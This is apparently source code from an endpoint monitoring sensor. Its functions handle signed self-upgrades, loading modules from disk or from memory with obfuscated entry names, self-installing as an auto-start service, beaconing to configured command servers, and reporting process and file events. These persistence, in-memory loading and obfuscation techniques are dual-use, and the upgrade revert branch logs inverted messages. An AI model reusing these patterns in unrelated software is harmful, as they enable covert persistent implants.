RPRIVATE_TESTABLE RBOOL upgradeHcp ( rSequence seq ) { RBOOL isSuccess = FALSE; RPU8 tmpBuff = NULL; RU32 tmpSize = 0; RPU8 tmpSig = NULL; RU32 tmpSigSize = 0; RPNCHAR currentModulePath = NULL; RPNCHAR backupPath = NULL; if( NULL != seq ) { if( rSequence_getBUFFER( seq, RP_TAGS_BINARY, &tmpBuff, &tmpSize ) && rSequence_getBUFFER( seq, RP_TAGS_SIGNATURE, &tmpSig, &tmpSigSize ) && CRYPTOLIB_SIGNATURE_SIZE == tmpSigSize ) { // We got the data, now verify the buffer signature if( CryptoLib_verify( tmpBuff, tmpSize, getRootPublicKey(), tmpSig ) ) { if( NULL != ( currentModulePath = processLib_getCurrentModulePath() ) ) { if( NULL != ( backupPath = rpal_string_strdup( currentModulePath ) ) && NULL != ( backupPath = rpal_string_strcatEx( backupPath, _NC( ".old" ) ) ) ) { rpal_file_delete( backupPath, FALSE ); if( rpal_file_move( currentModulePath, backupPath ) ) { if( rpal_file_write( currentModulePath, tmpBuff, tmpSize, TRUE ) ) { rpal_debug_info( "hcp was successfully updated" ); isSuccess = TRUE; } else { rpal_debug_warning( "failed to write new hcp to disk" ); if( !rpal_file_move( backupPath, currentModulePath ) ) { rpal_debug_warning( "old hcp was reverted" ); } else { rpal_debug_error( "could not revert old hcp" ); } } } else { rpal_debug_warning( "failed to move hcp to backup location" ); } rpal_memory_free( backupPath ); } rpal_memory_free( currentModulePath ); } else { rpal_debug_error( "failed to get current module path" ); } } else { rpal_debug_warning( "New HCP binary signature is invalid." ); } } else { rpal_debug_warning( "Upgrade command missing or invalid component." ); } } return isSuccess; }
RBOOL rpHostCommonPlatformLib_launch ( RU8 configHint, RPNCHAR primaryHomeUrl, RPNCHAR secondaryHomeUrl ) { RBOOL isInitSuccessful = FALSE; rSequence staticConfig = NULL; RPCHAR tmpStr = NULL; rSequence tmpSeq = NULL; RPU8 tmpBuffer = NULL; RU32 tmpSize = 0; RU16 tmpPort = 0; rpal_debug_info( "launching hcp" ); #ifdef RPAL_PLATFORM_WINDOWS if( setGlobalCrashHandler() && SetConsoleCtrlHandler( (PHANDLER_ROUTINE)ctrlHandler, TRUE ) ) { rpal_debug_info( "global crash handler set" ); } else { rpal_debug_warning( "error setting global crash handler" ); } #endif if( 1 == rInterlocked_increment32( &g_hcpContext.isRunning ) ) { if( rpal_initialize( NULL, RPAL_COMPONENT_HCP ) ) { CryptoLib_init(); if( NULL == ( g_hcpContext.cloudConnectionMutex = rMutex_create() ) || NULL == ( g_hcpContext.isCloudOnline = rEvent_create( TRUE ) ) ) { rMutex_free( g_hcpContext.cloudConnectionMutex ); rpal_debug_error( "could not create cloud connection mutex or event" ); return FALSE; } g_hcpContext.currentId.raw = g_idTemplate.raw; // We attempt to load some initial config from the serialized // rSequence that can be patched in this binary. if( NULL != ( staticConfig = getStaticConfig() ) ) { if( rSequence_getSTRINGA( staticConfig, RP_TAGS_HCP_PRIMARY_URL, &tmpStr ) && rSequence_getRU16( staticConfig, RP_TAGS_HCP_PRIMARY_PORT, &tmpPort ) ) { g_hcpContext.primaryUrl = rpal_string_strdupA( tmpStr ); g_hcpContext.primaryPort = tmpPort; rpal_debug_info( "loading primary url from static config" ); } if( rSequence_getSTRINGA( staticConfig, RP_TAGS_HCP_SECONDARY_URL, &tmpStr ) && rSequence_getRU16( staticConfig, RP_TAGS_HCP_SECONDARY_PORT, &tmpPort ) ) { g_hcpContext.secondaryUrl = rpal_string_strdupA( tmpStr ); g_hcpContext.secondaryPort = tmpPort; rpal_debug_info( "loading secondary url from static config" ); } if( rSequence_getSEQUENCE( staticConfig, RP_TAGS_HCP_ID, &tmpSeq ) ) { g_hcpContext.currentId = seqToHcpId( tmpSeq ); rpal_debug_info( "loading default id from static config" ); } if( rSequence_getBUFFER( staticConfig, RP_TAGS_HCP_C2_PUBLIC_KEY, &tmpBuffer, &tmpSize ) ) { setC2PublicKey( rpal_memory_duplicate( tmpBuffer, tmpSize ) ); rpal_debug_info( "loading c2 public key from static config" ); } if( rSequence_getBUFFER( staticConfig, RP_TAGS_HCP_ROOT_PUBLIC_KEY, &tmpBuffer, &tmpSize ) ) { setRootPublicKey( rpal_memory_duplicate( tmpBuffer, tmpSize ) ); rpal_debug_info( "loading root public key from static config" ); } if( rSequence_getSTRINGA( staticConfig, RP_TAGS_HCP_DEPLOYMENT_KEY, &tmpStr ) ) { g_hcpContext.deploymentKey = rpal_string_strdupA( tmpStr ); rpal_debug_info( "loading deployment key from static config" ); } rSequence_free( staticConfig ); } // Now we will override the defaults (if present) with command // line parameters. if( NULL != primaryHomeUrl && 0 != rpal_string_strlen( primaryHomeUrl ) ) { if( NULL != g_hcpContext.primaryUrl ) { rpal_memory_free( g_hcpContext.primaryUrl ); g_hcpContext.primaryUrl = NULL; } g_hcpContext.primaryUrl = rpal_string_ntoa( primaryHomeUrl ); } if( NULL != secondaryHomeUrl && 0 != rpal_string_strlen( secondaryHomeUrl ) ) { if( NULL != g_hcpContext.secondaryUrl ) { rpal_memory_free( g_hcpContext.secondaryUrl ); g_hcpContext.secondaryUrl = NULL; } g_hcpContext.secondaryUrl = rpal_string_ntoa( secondaryHomeUrl ); } g_hcpContext.enrollmentToken = NULL; g_hcpContext.enrollmentTokenSize = 0; getStoreConf(); /* Sets the agent ID platform. */ // Set the current configId g_hcpContext.currentId.id.configId = configHint; if( startBeacons() ) { isInitSuccessful = TRUE; } else { rpal_debug_warning( "error starting beacons" ); } CryptoLib_deinit(); } else { rpal_debug_warning( "hcp platform could not init rpal" ); } } else { rInterlocked_decrement32( &g_hcpContext.isRunning ); rpal_debug_info( "hcp already launched" ); } return isInitSuccessful; }
RBOOL rpHostCommonPlatformLib_load ( RPNCHAR modulePath, RU32 moduleId ) { RBOOL isSuccess = FALSE; RU32 moduleIndex = 0; rpal_thread_func pEntry = NULL; rpHCPModuleContext* modContext = NULL; RPCHAR errorStr = NULL; OBFUSCATIONLIB_DECLARE( entrypoint, RP_HCP_CONFIG_MODULE_ENTRY ); OBFUSCATIONLIB_DECLARE( recvMessage, RP_HCP_CONFIG_MODULE_RECV_MESSAGE ); if( NULL != modulePath ) { for( moduleIndex = 0; moduleIndex < RP_HCP_CONTEXT_MAX_MODULES; moduleIndex++ ) { if( 0 == g_hcpContext.modules[ moduleIndex ].hThread ) { // Found an empty spot #ifdef RPAL_PLATFORM_WINDOWS g_hcpContext.modules[ moduleIndex ].hModule = LoadLibraryW( modulePath ); #elif defined( RPAL_PLATFORM_LINUX ) || defined( RPAL_PLATFORM_MACOSX ) g_hcpContext.modules[ moduleIndex ].hModule = dlopen( modulePath, RTLD_NOW | RTLD_LOCAL ); #endif if( NULL != g_hcpContext.modules[ moduleIndex ].hModule ) { OBFUSCATIONLIB_TOGGLE( entrypoint ); #ifdef RPAL_PLATFORM_WINDOWS pEntry = (rpal_thread_func)GetProcAddress( (HMODULE)g_hcpContext.modules[ moduleIndex ].hModule, (RPCHAR)entrypoint ); #elif defined( RPAL_PLATFORM_LINUX ) || defined( RPAL_PLATFORM_MACOSX ) pEntry = (rpal_thread_func)dlsym( g_hcpContext.modules[ moduleIndex ].hModule, (RPCHAR)entrypoint ); #endif OBFUSCATIONLIB_TOGGLE( entrypoint ); if( NULL != pEntry ) { modContext = &(g_hcpContext.modules[ moduleIndex ].context); modContext->pCurrentId = &(g_hcpContext.currentId); modContext->func_sendHome = doSend; modContext->isTimeToStop = rEvent_create( TRUE ); modContext->rpalContext = rpal_Context_get(); modContext->isOnlineEvent = g_hcpContext.isCloudOnline; if( NULL != modContext->isTimeToStop ) { g_hcpContext.modules[ moduleIndex ].id = (RpHcp_ModuleId)moduleId; g_hcpContext.modules[ moduleIndex ].isTimeToStop = modContext->isTimeToStop; OBFUSCATIONLIB_TOGGLE( recvMessage ); #ifdef RPAL_PLATFORM_WINDOWS g_hcpContext.modules[ moduleIndex ].func_recvMessage = (rpHCPModuleMsgEntry)GetProcAddress( (HMODULE)g_hcpContext.modules[ moduleIndex ].hModule, (RPCHAR)recvMessage ); #elif defined( RPAL_PLATFORM_LINUX ) || defined( RPAL_PLATFORM_MACOSX ) g_hcpContext.modules[ moduleIndex ].func_recvMessage = (rpHCPModuleMsgEntry)dlsym( g_hcpContext.modules[ moduleIndex ].hModule, (RPCHAR)recvMessage ); #endif OBFUSCATIONLIB_TOGGLE( recvMessage ); g_hcpContext.modules[ moduleIndex ].hThread = rpal_thread_new( pEntry, modContext ); if( 0 != g_hcpContext.modules[ moduleIndex ].hThread ) { g_hcpContext.modules[ moduleIndex ].isOsLoaded = TRUE; isSuccess = TRUE; rpal_debug_info( "module %S successfully loaded manually.", modulePath ); } } } else { #ifdef RPAL_PLATFORM_WINDOWS FreeLibrary( (HMODULE)g_hcpContext.modules[ moduleIndex ].hModule ); #elif defined( RPAL_PLATFORM_LINUX ) || defined( RPAL_PLATFORM_MACOSX ) dlclose( g_hcpContext.modules[ moduleIndex ].hModule ); #endif g_hcpContext.modules[ moduleIndex ].hModule = NULL; rpal_debug_error( "Could not manually finding the entry point to a module!" ); } } else { #if defined( RPAL_PLATFORM_LINUX ) || defined( RPAL_PLATFORM_MACOSX ) errorStr = dlerror(); #endif rpal_debug_error( "Could not manually load module %S: %X %s", modulePath, rpal_error_getLast(), errorStr ); } break; } } } //forceCrash(); return isSuccess; }
static RU32 installService ( ) { RU32 res = (RU32)-1; RNCHAR currentPath[ RPAL_MAX_PATH ] = {0}; RU32 currentPathSize = sizeof( currentPath ); RNCHAR svcDir[] = { _SERVICE_DIR }; RNCHAR svcPath[] = { _SERVICE_FILE }; RNCHAR svcDescPath[] = { _SERVICE_DESC_FILE }; RNCHAR svcDesc[] = { _SERVICE_DESC }; RBOOL isOnDisk = FALSE; RNCHAR svcLoad[] = { _SERVICE_LOAD }; RNCHAR svcStart[] = { _SERVICE_START }; if( 0 == _NSGetExecutablePath( currentPath, ¤tPathSize ) ) { if( rDir_create( svcDir ) ) { chmod( svcDir, S_IRWXU ); } if( rpal_file_copy( currentPath, svcPath ) ) { if( 0 != chmod( svcPath, S_IRWXU ) ) { rpal_debug_warning( "could not set restricted permissions on executable" ); } if( rpal_file_write( svcDescPath, svcDesc, rpal_string_strlen( svcDesc ), TRUE ) ) { if( 0 != chmod( svcDescPath, S_IRWXU ) ) { rpal_debug_warning( "could not set restricted permissions on service descriptor" ); } isOnDisk = TRUE; } else { rpal_debug_error( "could not write service descriptor" ); } } else { rpal_debug_error( "could not copy executable to service location" ); } } else { rpal_debug_error( "could not get current executable path" ); } if( isOnDisk ) { if( 0 != system( svcLoad ) ) { rpal_debug_warning( "failed to load service, already exists?" ); } if( 0 != system( svcStart ) ) { rpal_debug_warning( "failed to start service, already running?" ); } else { rpal_debug_info( "successfully installed" ); res = 0; } } return res; }
static VOID WINAPI ServiceMain ( DWORD dwArgc, RPCHAR lpszArgv ) { RU32 memUsed = 0; RWCHAR svcName[] = { _SERVICE_NAME }; RU32 i = 0; UNREFERENCED_PARAMETER( dwArgc ); UNREFERENCED_PARAMETER( lpszArgv ); if( NULL == ( g_svc_status_handle = RegisterServiceCtrlHandlerW( svcName, SvcCtrlHandler ) ) ) { return; } rpal_memory_zero( &g_svc_status, sizeof( g_svc_status ) ); g_svc_status.dwServiceType = SERVICE_WIN32_OWN_PROCESS; g_svc_status.dwControlsAccepted = 0; g_svc_status.dwCurrentState = SERVICE_START_PENDING; g_svc_status.dwWin32ExitCode = 0; g_svc_status.dwServiceSpecificExitCode = 0; g_svc_status.dwCheckPoint = 0; SetServiceStatus( g_svc_status_handle, &g_svc_status ); if( NULL == ( g_timeToQuit = rEvent_create( TRUE ) ) ) { g_svc_status.dwControlsAccepted = 0; g_svc_status.dwCurrentState = SERVICE_STOPPED; g_svc_status.dwWin32ExitCode = GetLastError(); g_svc_status.dwCheckPoint = 1; SetServiceStatus( g_svc_status_handle, &g_svc_status ); return; } rpal_debug_info( "initialising rpHCP." ); if( !rpHostCommonPlatformLib_launch( g_svc_primary, g_svc_secondary ) ) { rpal_debug_warning( "error launching hcp." ); } for( i = 0; i < ARRAY_N_ELEM( g_manual_loads ); i++ ) { if( NULL != g_manual_loads[ i ].modPath ) { if( 0 != g_manual_loads[ i ].nMod ) { #ifdef HCP_EXE_ENABLE_MANUAL_LOAD rpHostCommonPlatformLib_load( g_manual_loads[ i ].modPath, g_manual_loads[ i ].nMod ); #endif } else { rpal_debug_error( "Mismatched number of -m modulePath and -n moduleId statements provided!" ); } rpal_memory_free( g_manual_loads[ i ].modPath ); g_manual_loads[ i ].modPath = NULL; } else { break; } } g_svc_status.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN; g_svc_status.dwCurrentState = SERVICE_RUNNING; g_svc_status.dwWin32ExitCode = 0; g_svc_status.dwCheckPoint = 1; SetServiceStatus( g_svc_status_handle, &g_svc_status ); rpal_debug_info( "...running, waiting to exit..." ); rEvent_wait( g_timeToQuit, RINFINITE ); rEvent_free( g_timeToQuit ); rpal_debug_info( "...exiting..." ); rpal_Context_cleanup(); memUsed = rpal_memory_totalUsed(); if( 0 != memUsed ) { rpal_debug_critical( "Memory leak: %d bytes.\n", memUsed ); //rpal_memory_findMemory(); #ifdef RPAL_FEATURE_MEMORY_ACCOUNTING rpal_memory_printDetailedUsage(); #endif } g_svc_status.dwControlsAccepted = 0; g_svc_status.dwCurrentState = SERVICE_STOPPED; g_svc_status.dwWin32ExitCode = 0; g_svc_status.dwCheckPoint = 3; SetServiceStatus( g_svc_status_handle, &g_svc_status ); }
static RVOID processFileIo ( rpcm_tag notifType, rSequence event ) { ProcExtInfo* ctx = NULL; RPNCHAR path = NULL; RPVOID patternCtx = 0; RU8 patternId = 0; RPU8 atomId = NULL; RU32 pid = 0; rSequence newEvent = NULL; UNREFERENCED_PARAMETER( notifType ); if( rSequence_getSTRINGN( event, RP_TAGS_FILE_PATH, &path ) && HbsGetParentAtom( event, &atomId ) && rSequence_getRU32( event, RP_TAGS_PROCESS_ID, &pid ) ) { if( rMutex_lock( g_mutex ) ) { obsLib_resetSearchState( g_extensions ); if( obsLib_setTargetBuffer( g_extensions, path, rpal_string_strsize( path ) ) ) { while( obsLib_nextHit( g_extensions, &patternCtx, NULL ) ) { if( NULL != ctx || NULL != ( ctx = getProcContext( atomId ) ) ) { patternId = (RU8)PTR_TO_NUMBER( patternCtx ); if( !IS_FLAG_ENABLED( ctx->extBitMask, (RU64)1 << patternId ) ) { rpal_debug_info( "process " RF_U32 " observed file io " RF_U64, pid, patternId + 1 ); ENABLE_FLAG( ctx->extBitMask, (RU64)1 << patternId ); if( NULL != ( newEvent = rSequence_new() ) ) { HbsSetParentAtom( newEvent, atomId ); rSequence_addRU32( newEvent, RP_TAGS_PROCESS_ID, pid ); rSequence_addRU8( newEvent, RP_TAGS_RULE_NAME, patternId + 1 ); rSequence_addSTRINGN( newEvent, RP_TAGS_FILE_PATH, ctx->processPath ); hbs_publish( RP_TAGS_NOTIFICATION_FILE_TYPE_ACCESSED, newEvent ); rSequence_free( newEvent ); } } } else { rpal_debug_error( "error getting process context" ); break; } } } rMutex_unlock( g_mutex ); } } }
static RBOOL notifyOfProcess ( RU32 pid, RU32 ppid, RBOOL isStarting, RNATIVESTR optFilePath, RNATIVESTR optCmdLine, RU32 optUserId, RU64 optTs ) { RBOOL isSuccess = FALSE; rSequence info = NULL; rSequence parentInfo = NULL; RU32 tmpUid = 0; RNATIVESTR cleanPath = NULL; // We prime the information with whatever was provided // to us by the kernel acquisition. If not available // we generate using the UM only way. if( 0 != rpal_string_strlenn( optFilePath ) && ( NULL != info || NULL != ( info = rSequence_new() ) ) ) { cleanPath = rpal_file_cleann( optFilePath ); rSequence_addSTRINGN( info, RP_TAGS_FILE_PATH, cleanPath ? cleanPath : optFilePath ); rpal_memory_free( cleanPath ); } if( 0 != rpal_string_strlenn( optCmdLine ) && ( NULL != info || NULL != ( info = rSequence_new() ) ) ) { rSequence_addSTRINGN( info, RP_TAGS_COMMAND_LINE, optCmdLine ); } if( NULL != info ) { info = processLib_getProcessInfo( pid, info ); } else if( !isStarting || NULL == ( info = processLib_getProcessInfo( pid, info ) ) ) { info = rSequence_new(); } if( rpal_memory_isValid( info ) ) { rSequence_addRU32( info, RP_TAGS_PROCESS_ID, pid ); rSequence_addRU32( info, RP_TAGS_PARENT_PROCESS_ID, ppid ); if( 0 != optTs ) { rSequence_addTIMESTAMP( info, RP_TAGS_TIMESTAMP, rpal_time_getGlobalFromLocal( optTs ) ); } else { rSequence_addTIMESTAMP( info, RP_TAGS_TIMESTAMP, rpal_time_getGlobal() ); } if( isStarting ) { if( NULL != ( parentInfo = processLib_getProcessInfo( ppid, NULL ) ) && !rSequence_addSEQUENCE( info, RP_TAGS_PARENT, parentInfo ) ) { rSequence_free( parentInfo ); } } if( isStarting ) { if( KERNEL_ACQ_NO_USER_ID != optUserId && !rSequence_getRU32( info, RP_TAGS_USER_ID, &tmpUid ) ) { rSequence_addRU32( info, RP_TAGS_USER_ID, optUserId ); } if( notifications_publish( RP_TAGS_NOTIFICATION_NEW_PROCESS, info ) ) { isSuccess = TRUE; rpal_debug_info( "new process starting: %d / %d", pid, ppid ); } } else { if( notifications_publish( RP_TAGS_NOTIFICATION_TERMINATE_PROCESS, info ) ) { isSuccess = TRUE; rpal_debug_info( "new process terminating: %d / %d", pid, ppid ); } } rSequence_free( info ); } else { rpal_debug_error( "could not allocate info on new process" ); } return isSuccess; }
RPRIVATE_TESTABLE RBOOL loadModule ( rpHCPContext* hcpContext, rSequence seq ) { RBOOL isSuccess = FALSE; RU32 moduleIndex = (RU32)(-1); RPU8 tmpBuff = NULL; RU32 tmpSize = 0; RPU8 tmpSig = NULL; RU32 tmpSigSize = 0; rpal_thread_func pEntry = NULL; rpHCPModuleContext* modContext = NULL; OBFUSCATIONLIB_DECLARE( entryName, RP_HCP_CONFIG_MODULE_ENTRY ); OBFUSCATIONLIB_DECLARE( recvMessage, RP_HCP_CONFIG_MODULE_RECV_MESSAGE ); if( NULL != seq && NULL != hcpContext ) { for( moduleIndex = 0; moduleIndex < RP_HCP_CONTEXT_MAX_MODULES; moduleIndex++ ) { if( 0 == hcpContext->modules[ moduleIndex ].hThread ) { // Found an empty spot break; } } } if( RP_HCP_CONTEXT_MAX_MODULES != moduleIndex && (RU32)(-1) != moduleIndex ) { // We got an empty spot for our module if( rSequence_getRU8( seq, RP_TAGS_HCP_MODULE_ID, &(hcpContext->modules[ moduleIndex ].id ) ) && rSequence_getBUFFER( seq, RP_TAGS_BINARY, &tmpBuff, &tmpSize ) && rSequence_getBUFFER( seq, RP_TAGS_SIGNATURE, &tmpSig, &tmpSigSize ) && CRYPTOLIB_SIGNATURE_SIZE == tmpSigSize ) { // We got the data, now verify the buffer signature if( CryptoLib_verify( tmpBuff, tmpSize, getRootPublicKey(), tmpSig ) ) { // Ready to load the module rpal_debug_info( "loading module in memory" ); hcpContext->modules[ moduleIndex ].hModule = MemoryLoadLibrary( tmpBuff, tmpSize ); if( NULL != hcpContext->modules[ moduleIndex ].hModule ) { OBFUSCATIONLIB_TOGGLE( entryName ); pEntry = (rpal_thread_func)MemoryGetProcAddress( hcpContext->modules[ moduleIndex ].hModule, (RPCHAR)entryName ); OBFUSCATIONLIB_TOGGLE( entryName ); if( NULL != pEntry ) { modContext = &(hcpContext->modules[ moduleIndex ].context); modContext->pCurrentId = &( hcpContext->currentId ); modContext->func_sendHome = doSend; modContext->isTimeToStop = rEvent_create( TRUE ); modContext->rpalContext = rpal_Context_get(); modContext->isOnlineEvent = hcpContext->isCloudOnline; if( NULL != modContext->isTimeToStop ) { hcpContext->modules[ moduleIndex ].isTimeToStop = modContext->isTimeToStop; OBFUSCATIONLIB_TOGGLE( recvMessage ); hcpContext->modules[ moduleIndex ].func_recvMessage = (rpHCPModuleMsgEntry)MemoryGetProcAddress( hcpContext->modules[ moduleIndex ].hModule, (RPCHAR)recvMessage ); OBFUSCATIONLIB_TOGGLE( recvMessage ); hcpContext->modules[ moduleIndex ].hThread = rpal_thread_new( pEntry, modContext ); if( 0 != hcpContext->modules[ moduleIndex ].hThread ) { CryptoLib_hash( tmpBuff, tmpSize, &(hcpContext->modules[ moduleIndex ].hash ) ); hcpContext->modules[ moduleIndex ].isOsLoaded = FALSE; isSuccess = TRUE; } else { rpal_debug_warning( "Error creating handler thread for new module." ); } } } else { rpal_debug_warning( "Could not find new module's entry point." ); } } else { rpal_debug_warning( "Error loading module in memory." ); } } else { rpal_debug_warning( "New module signature invalid." ); } } else { rpal_debug_warning( "Could not find core module components to load." ); } // Main cleanup if( !isSuccess ) { if( NULL != modContext ) { IF_VALID_DO( modContext->isTimeToStop, rEvent_free ); } if( NULL != hcpContext->modules[ moduleIndex ].hModule ) { MemoryFreeLibrary( hcpContext->modules[ moduleIndex ].hModule ); } rpal_memory_zero( &(hcpContext->modules[ moduleIndex ] ), sizeof( hcpContext->modules[ moduleIndex ] ) ); } } else { rpal_debug_error( "Could not find a spot for new module, or invalid module id!" ); } return isSuccess; }
static RU32 installService ( ) { HMODULE hModule = NULL; RWCHAR curPath[ RPAL_MAX_PATH ] = { 0 }; RWCHAR destPath[] = _WCH( "%SYSTEMROOT%\\system32\\rphcp.exe" ); RWCHAR svcPath[] = _WCH( "\"%SYSTEMROOT%\\system32\\rphcp.exe\" -w" ); SC_HANDLE hScm = NULL; SC_HANDLE hSvc = NULL; RWCHAR svcName[] = { _SERVICE_NAMEW }; RWCHAR svcDisplay[] = { _WCH( "rp_HCP_Svc" ) }; rpal_debug_info( "installing service" ); hModule = GetModuleHandleW( NULL ); if( NULL != hModule ) { if( ARRAY_N_ELEM( curPath ) > GetModuleFileNameW( hModule, curPath, ARRAY_N_ELEM( curPath ) ) ) { if( rpal_file_copy( curPath, destPath ) ) { if( NULL != ( hScm = OpenSCManagerA( NULL, NULL, SC_MANAGER_CREATE_SERVICE ) ) ) { if( NULL != ( hSvc = CreateServiceW( hScm, svcName, svcDisplay, SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS, SERVICE_AUTO_START, SERVICE_ERROR_NORMAL, svcPath, NULL, NULL, NULL, NULL, _WCH( "" ) ) ) ) { if( StartService( hSvc, 0, NULL ) ) { // Emitting as error level to make sure it's displayed in release. rpal_debug_error( "service installer!" ); return 0; } else { rpal_debug_error( "could not start service: %d", GetLastError() ); } CloseServiceHandle( hSvc ); } else { rpal_debug_error( "could not create service in SCM: %d", GetLastError() ); } CloseServiceHandle( hScm ); } else { rpal_debug_error( "could not open SCM: %d", GetLastError() ); } } else { rpal_debug_error( "could not move executable to service location: %d", GetLastError() ); } } else { rpal_debug_error( "could not get current executable path: %d", GetLastError() ); } CloseHandle( hModule ); } else { rpal_debug_error( "could not get current executable handle: %d", GetLastError() ); } return GetLastError(); }